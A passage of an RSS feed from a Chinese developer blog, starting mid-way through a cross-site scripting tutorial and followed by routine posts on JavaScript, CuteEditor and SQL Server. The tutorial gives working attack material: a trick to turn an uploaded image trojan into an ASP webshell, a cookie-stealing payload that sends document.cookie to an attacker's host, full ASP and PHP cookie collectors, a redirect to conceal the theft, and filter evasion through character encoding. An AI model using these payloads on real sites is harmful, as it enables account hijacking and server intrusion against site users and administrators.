&lt;input value="database/haha.asp" name="bf" &gt; <br />
&lt;/body&gt;&lt;/html&gt; <br />
/UploadFile/2005-5/200512365.jpg <br />
这是你的ASP图片木马 </font></p>
<p><font size="2">　　这样我们就如果让管理员浏览了我们的留言，那么这个脚本就会自动把/UploadFile/2005-5/200512365.jpg </font></p>
<p><font size="2">　　备份成database/haha.asp。我们也就有了可爱的webshell了。而为什么要管理员浏览才有效呢？因为服务器上是存在cookies和session机制的 </font></p>
<p><font size="2">　　而session其实是在服务器端的tmp目录下的某一个文件中为每个用户储存一些变量，对session的操作其实是对文件读写操作。 </font></p>
<p><font size="2">　　seesion是每个用户都有自己的session。他们的生命周期一般是用户打开某网站浏览器到关闭与次网站连接所 </font></p>
<p><font size="2">　　有的浏览器后结束。cookie这是在用户端的存贮机制，他需要用户的打开cookie支持，所以只有管理才有权利把我们JPG备份在ASP <br />
<br />
　　现在大家用的比较常见的就是盗取cookies而后欺骗，或者利用社会工程学进一步入侵比如我们构造下面的脚本代码就可以盗取用户cookies了 </font></p>
<div><font size="2">　　javascript:window.open(&#8216;http://xxx.xxx.xxx/cookies.asp?msg=&#8217;+document.cookie) </font></div>
<div><font size="2">　　</font></div>
<div><font size="2">　　其中http://xxx.xxx.xxx/是大家自己网站空间，cookies.asp是一个asp脚本用于收集 </font>
<p>&nbsp;</p>
<p><font size="2">　　msg后边跟的参数，而参数我们指定的是document.cookie，也就是访问此贴用户的cookie。 </font></p>
<p><font size="2">　　cookies.asp的代码是： <br />
&lt;% </font></p>
<p><font size="2">　　testfile=Server.MapPath("hun.txt") </font></p>
<p><font size="2">　　msg=Request("msg") </font></p>
<p><font size="2">　　set fs=server.CreateObject("scripting.filesystemobject") </font></p>
<p><font size="2">　　set thisfile=fs.OpenTextFile(testfile,8,True,0) </font></p>
<p><font size="2">　　thisfile.WriteLine(""&amp;msg&amp; "") </font></p>
<p><font size="2">　　thisfile.close </font></p>
<p><font size="2">　　set fs = nothing </font></p>
<p><font size="2">　　%&gt; </font></p>
<p><font size="2">　　这样所有访问者的cookie都会收集在hun.txt这个文件里 </font></p>
<p><font size="2">　　但是访问者访问我们的帖子，同样会访问到我们的网站的，这样不是露馅了吗？呵呵，但只要我们稍做处理 </font></p>
<p><font size="2">　　就可以做的相对真实，比如我们加上下面的代码 </font></p>
<p><font size="2">　　&lt;script language=vbscript&gt; <br />
window.location.href="http://xxx.xxx.xxx" <br />
&lt;/script&gt; </font></p>
<p><font size="2">　　这个xxx.xxx.xxx最好换成你攻击的网站的域名，这样做的目的是在他访问我们精心构造的网站同时开打他 </font></p>
<p><font size="2">　　自己的网站，呵呵，这样是不是会更隐蔽一点呢？ </font></p>
<p><font size="2">　　这个cookies.asp和有一个同样作用的cookies.php一样，附代码如下： <br />
&lt;?php <br />
$info = getenv("QUERY_STRING"); <br />
if ($info) { <br />
$fp = fopen("cookies.txt","a"); <br />
fwrite($fp,$info."\n"); <br />
fclose($fp); <br />
} <br />
?&gt; </font></p>
<p><font size="2">　　但是大部份做的不错的论坛，都过滤了javascript这些字符。不过还是有方法可以利用的， </font></p>
<p><font size="2">　　可以在论坛发的贴里将javascript写成ascii码。像j可以写成&#8221;&#x6a;&#8221; <br />
<br />
　　防范的方法，就是过滤字符像javascript/&lt;script&gt;/&#8217;/;/&amp;/#了等等， </font></p>
<p><font size="2">　　当然前提是你的网页还要正常显示。建议大家不要轻易打开一些不明url，要将自己的信箱、论坛、QQ等资料的密码设的都不一样， </font></p>
<p><font size="2">　　如果一旦资料或密码被盗，避免引连锁反应，所有资料和密码都被别人获得。这就要用到博大精深是社会工程学了。 </font></p>
<p><font size="2">　　总结一下吧。跨站的技巧性很强，呵呵大家多积累经验用起来会达到事半功倍的效果。</font></p>
</div>
</font>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1347775.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47986/" target="_blank">网易澄清:与暴雪合资公司仅提供技术支持</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>javascript获取参数</title><link>http://www.cnblogs.com/aqiang/archive/2008/12/03/1347142.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Wed, 03 Dec 2008 15:18:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/12/03/1347142.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1347142.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/12/03/1347142.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1347142.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1347142.html</trackback:ping><description><![CDATA[<p><a href="http://www.dotbbs.net/topic.aspx?id=111">http://www.dotbbs.net/topic.aspx?id=111</a></p>
<p>function &nbsp; getParam(name){ &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var &nbsp; reg &nbsp; = &nbsp; new &nbsp; RegExp("(^|&amp;)"+ &nbsp; name &nbsp; +"=([^&amp;]*)(&amp;|$)"); &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var &nbsp; r &nbsp; = &nbsp; window.location.search.substr(1).match(reg); &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if &nbsp; (r!=null) &nbsp; return &nbsp; unescape(r[2]); &nbsp; return &nbsp; null; &nbsp; <br />
&nbsp; &nbsp; &nbsp; }&nbsp;&nbsp; <br />
</p>
<p>&nbsp;</p>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1347142.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47985/" target="_blank">杰克逊悼念仪式或成史上最大规模Web活动</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>js获取CuteEditor的值</title><link>http://www.cnblogs.com/aqiang/archive/2008/12/03/1347129.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Wed, 03 Dec 2008 14:55:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/12/03/1347129.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1347129.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/12/03/1347129.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1347129.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1347129.html</trackback:ping><description><![CDATA[<pre class="code">var editwin = editor1.GetWindow();</pre>
<br />
<strong>Getting the active editor document</strong><br />
<br />
In order to find the active editor document, you'd write: <br />
<br />
<span style="color: #008000">// get the active editor document</span><br />
<pre class="code">var editdoc = editor1.GetDocument();</pre>
<p>&nbsp;</p>
<p><strong>Getting the active editor selection</strong><br />
<br />
In order to find the active editor selection, you'd write: <br />
<br />
<span style="color: #008000">// get the active editor selection</span></p>
<pre class="code">var sel = editor1.GetSelection();</pre>
<p>&nbsp;</p>
<p>
<table class="nstexttable FCK__ShowTableBorders" cellspacing="2" cellpadding="5" width="100%" border="0">
    <tr>
            <td><strong>Method</strong></td>
            <td><strong>Description</strong></td>
        </tr>
        <tr>
            <td valign="top" width="100" bgcolor="#f4f4f4"><code><font face="NSimsun">getHTML()</font></code></td>
            <td bgcolor="#f4f4f4">
            <p>This method is used for retrieving the content of Cute Editor as HTML.</p>
            <p><strong>Example:<br />
            <br />
            </strong></p>
            <div class="code"><span style="color: #008000">// get the cute editor instance</span><br />
            var editor1 = document.getElementById('&lt;% = Editor1.ClientID%&gt;');<br />
            <br />
            <span style="color: #008000">// retrieving the content of Cute Editor as HTML </span><br />
            var content = editor1.getHTML();<br />
            alert(content );</div>
            </td>
        </tr>
        <tr>
            <td valign="top" bgcolor="#eeeeee"><code><font face="NSimsun">SetHTML()</font></code></td>
            <td bgcolor="#eeeeee">This method is used for setting the content of Cute Editor.
            <p><strong>Example:<br />
            </strong></p>
            <div class="code"><span style="color: #008000">// get the cute editor instance</span><br />
            var editor1 = document.getElementById('&lt;% = Editor1.ClientID%&gt;');<br />
            <br />
            <span style="color: #008000">// setting the content of Cute Editor</span><br />
            editor1.setHTML("Hello World");</div>
            </td>
        </tr>
        <tr>
            <td valign="top" bgcolor="#f4f4f4"><code><font face="NSimsun">PasteHTML()</font></code></td>
            <td bgcolor="#f4f4f4">
            <p>This method is used for pasting the specified HTML into a range within a editor document. If anything is selected, the selection is replaced with the new HTML and text.</p>
            <p><strong>Example:<br />
            <br />
            </strong></p>
            <div class="code"><span style="color: #008000">// get the cute editor instance</span><br />
            var editor1 = document.getElementById('&lt;% = Editor1.ClientID%&gt;');<br />
            <br />
            <span style="color: #008000">// pasting the specified HTML into a range within a editor document </span><br />
            editor1.pasteHTML("Hello World");</div>
            </td>
        </tr>
        <tr>
            <td valign="top" noWrap bgcolor="#eeeeee"><code><font face="NSimsun">FocusDocument()</font></code></td>
            <td bgcolor="#eeeeee">This method is used for setting input focus to Cute Editor
            <p><strong>Example:<br />
            </strong></p>
            <div class="code"><span style="color: #008000">// get the cute editor instance</span><br />
            var editor1 = document.getElementById('&lt;% = Editor1.ClientID%&gt;');<br />
            <br />
            <span style="color: #008000">// setting input focus to Cute Editor</span><br />
            editor1.<code><font face="NSimsun">FocusDocument();</font></code></div>
            </td>
        </tr>
    </table>
</p>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1347129.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47985/" target="_blank">杰克逊悼念仪式或成史上最大规模Web活动</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>js处理ie关闭事件</title><link>http://www.cnblogs.com/aqiang/archive/2008/12/03/1347068.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Wed, 03 Dec 2008 13:50:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/12/03/1347068.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1347068.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/12/03/1347068.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1347068.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1347068.html</trackback:ping><description><![CDATA[<p>&nbsp;在网页中加入下列代码&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; &lt;script&gt; &nbsp; <br />
&nbsp; function &nbsp; window.onunload(){alert(这就是你要做的事,关闭网页之后做的！)} &nbsp; <br />
&nbsp; function &nbsp; window.onbeforeunload(){alert(这就是你要做的事,关闭网页之前做的！)} &nbsp; <br />
&nbsp; &lt;/script&gt;&nbsp;&nbsp; </p>
<p>或者<br />
&lt;script&gt; &nbsp; <br />
&nbsp; function &nbsp; tuichu(){alert(这就是你要做的事,关闭网页之后做的！)} &nbsp; <br />
&nbsp; function &nbsp; tuichuqian(){alert(这就是你要做的事,关闭网页之前做的！)} &nbsp; <br />
&nbsp; &lt;/script&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &lt;body &nbsp; onunload="tuichu()" &nbsp; &nbsp; onbeforeunload="tuichuqian()"&gt;&nbsp;&nbsp; <br />
</p>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1347068.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47985/" target="_blank">杰克逊悼念仪式或成史上最大规模Web活动</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>无法为类型 CuteEditor.Editor 授予有效的许可证</title><link>http://www.cnblogs.com/aqiang/archive/2008/11/29/1343978.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Sat, 29 Nov 2008 12:24:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/11/29/1343978.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1343978.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/11/29/1343978.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1343978.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1343978.html</trackback:ping><description><![CDATA[<a href="http://files.cnblogs.com/bankey/CuteEditor.rar">CuteEditor.rar</a>放在bin目录下就可以解决该问题<br />
<img src ="http://www.cnblogs.com/aqiang/aggbug/1343978.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47984/" target="_blank">《商业周刊》:Mozilla的志愿者开发模式被复制</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>DateDiff在Access与Sql server中的差别</title><link>http://www.cnblogs.com/aqiang/archive/2008/11/26/1341577.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Wed, 26 Nov 2008 08:21:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/11/26/1341577.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1341577.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/11/26/1341577.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1341577.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1341577.html</trackback:ping><description><![CDATA[<p><strong class="bterm">语法</strong></p>
<p><strong class="bterm">DateDiff(interval, date1, date2</strong> [<strong class="bterm">, firstdayofweek</strong>] [<strong class="bterm">, firstweekofyear</strong>]<strong class="bterm"> )</strong></p>
<p>&nbsp;</p>
<p>差别在于interval是否要用引号；</p>
<p><strong class="bterm">Access:DateDiff('n',lastActiveTime,'" + DateTime.Now + "')&gt;=10</strong></p>
<p><strong>Sql server:<strong>DateDiff(n,lastActiveTime,'" + DateTime.Now + "')&gt;=10</strong></strong></p>
<p><strong class="bterm">interval</strong> <a class="glossary" href="http://www.cnblogs.com/aqiang/admin/javascript:AppendPopup(this,'ofArgument_4')">参数<span class="AsstInlineDefText"><span class="ACICollapsed" id="divInlineDef_ofArgument_4">&nbsp;（参数：为操作、事件、方法、属性、函数或过程提供信息的值。）</span></span></a>包含以下设置：</p>
<div id="tableoverflow">
<table class="collapse">
    <tr class="trbgeven">
            <th>设置</th>
            <th>说明</th>
        </tr>
        <tr class="trbgodd">
            <td>yyyy</td>
            <td>年</td>
        </tr>
        <tr class="trbgeven">
            <td>q</td>
            <td>季度</td>
        </tr>
        <tr class="trbgodd">
            <td>m</td>
            <td>月</td>
        </tr>
        <tr class="trbgeven">
            <td>y</td>
            <td>某年的某一天</td>
        </tr>
        <tr class="trbgodd">
            <td>d</td>
            <td>天</td>
        </tr>
        <tr class="trbgeven">
            <td>w</td>
            <td>工作日</td>
        </tr>
        <tr class="trbgodd">
            <td>ww</td>
            <td>周</td>
        </tr>
        <tr class="trbgeven">
            <td>h</td>
            <td>时</td>
        </tr>
        <tr class="trbgodd">
            <td>n</td>
            <td>分</td>
        </tr>
        <tr class="trbgeven">
            <td>s</td>
            <td>秒</td>
        </tr>
    </table>
</div>
<div>&nbsp;</div>
<div>参数&nbsp; <br />
Year <br />
yyyy <br />
<br />
Quarter <br />
q <br />
<br />
Month <br />
m <br />
<br />
Day of year <br />
y <br />
<br />
Day <br />
d <br />
<br />
Weekday <br />
w <br />
<br />
Week <br />
ww <br />
<br />
Hour <br />
h <br />
<br />
Minute <br />
n <br />
<br />
Second <br />
s <br />
</div>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1341577.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47977/" target="_blank">Mono 的Virtual PC 虚拟机</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>sql server 2005 express连接方法</title><link>http://www.cnblogs.com/aqiang/archive/2008/11/17/1335159.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Mon, 17 Nov 2008 07:41:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/11/17/1335159.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1335159.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/11/17/1335159.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1335159.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1335159.html</trackback:ping><description><![CDATA[<p>环境：xp,同时存在,sql server 2000,sql server 2005 express.</p>
<p>Server=192.168.0.152\SQLEXPRESS;database=RenCai;user id=sa;password=sa;</p>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1335159.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47970/" target="_blank">19岁天才黑客发布首个iPhone 3GS破解软件</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>Access数据导入sql server 2005 express</title><link>http://www.cnblogs.com/aqiang/archive/2008/11/17/1335092.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Mon, 17 Nov 2008 05:51:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/11/17/1335092.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1335092.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/11/17/1335092.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1335092.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1335092.html</trackback:ping><description><![CDATA[sql server 2005 express版的sql server manage studio中没有导入数据功能，可先导入sql server 2000,在附加到sql server 2005
<img src ="http://www.cnblogs.com/aqiang/aggbug/1335092.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47970/" target="_blank">19岁天才黑客发布首个iPhone 3GS破解软件</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>SQL Server 2005的身份验证模式更改</title><link>http://www.cnblogs.com/aqiang/archive/2008/11/17/1335087.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Mon, 17 Nov 2008 05:48:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/11/17/1335087.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1335087.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/11/17/1335087.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1335087.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1335087.html</trackback:ping><description><![CDATA[安装<span>MS SQL Server 2005</span>时，缺省为<span>Windows</span>身份验证模式，刚开始不知道怎么修改为<span>SQL Server</span>和<span>Windows</span>混合身份验证模式，只好重装，然后选择为混合模式，后来发现，原来装好后是可以修改的，而且很方便，汗<span>&#8230;<br />
<br />
</span>第一步，打开<span>SQL Server Management Studio</span>，用<span>Windows</span>身份验证模式登录<span>SQL Server 2005</span>服务器，在左边服务器名称上点击鼠标右键，选择&#8220;属性&#8221;。<br />
<img height="428" alt="" src="http://images.cnblogs.com/cnblogs_com/jasmin/a1.jpg" width="600" border="0" /><br />
<br />
<span style="font-size: 10.5pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">第二步，选择&#8220;安全性&#8221;页面。<br />
<img height="486" alt="" src="http://images.cnblogs.com/cnblogs_com/jasmin/a2.jpg" width="600" border="0" /><br />
<br />
<span style="font-size: 10.5pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">第三步，修改&#8220;服务器身份验证&#8221;为&#8220;</span><span lang="EN-US" style="font-size: 10.5pt; font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体">SQL Server</span><span style="font-size: 10.5pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">和</span><span lang="EN-US" style="font-size: 10.5pt; font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体">Windows</span><span style="font-size: 10.5pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">身份验证模式&#8221;，点击&#8220;确定&#8221;保存修改。<br />
<img height="486" alt="" src="http://images.cnblogs.com/cnblogs_com/jasmin/a3.jpg" width="600" border="0" /><br />
<br />
<span style="font-size: 10.5pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">第四步，在左边服务器列表中，选择&#8220;登录名&#8221;目录，设置</span><span lang="EN-US" style="font-size: 10.5pt; font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体">sa</span><span style="font-size: 10.5pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">用户登录密码。<br />
<img height="428" alt="" src="http://images.cnblogs.com/cnblogs_com/jasmin/a4.jpg" width="600" border="0" /><br />
<img height="486" alt="" src="http://images.cnblogs.com/cnblogs_com/jasmin/a5.jpg" width="600" border="0" /></span></span></span>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1335087.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47970/" target="_blank">19岁天才黑客发布首个iPhone 3GS破解软件</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>限制根目录web.config影响虚拟目录</title><link>http://www.cnblogs.com/aqiang/archive/2008/11/14/1333239.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Fri, 14 Nov 2008 01:04:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/11/14/1333239.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1333239.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/11/14/1333239.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1333239.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1333239.html</trackback:ping><description><![CDATA[<p>在根目录web.config中加入</p>
<p><span style="color: red">&lt;location path="." allowOverride="false" inheritInChildApplications="false"&gt;<br />
</span>&nbsp;&nbsp;&nbsp; &lt;system.web&gt;</p>
<p>...</p>
<p>&lt;/system.web&gt;</p>
<p style="color: red">&lt;/location&gt;</p>
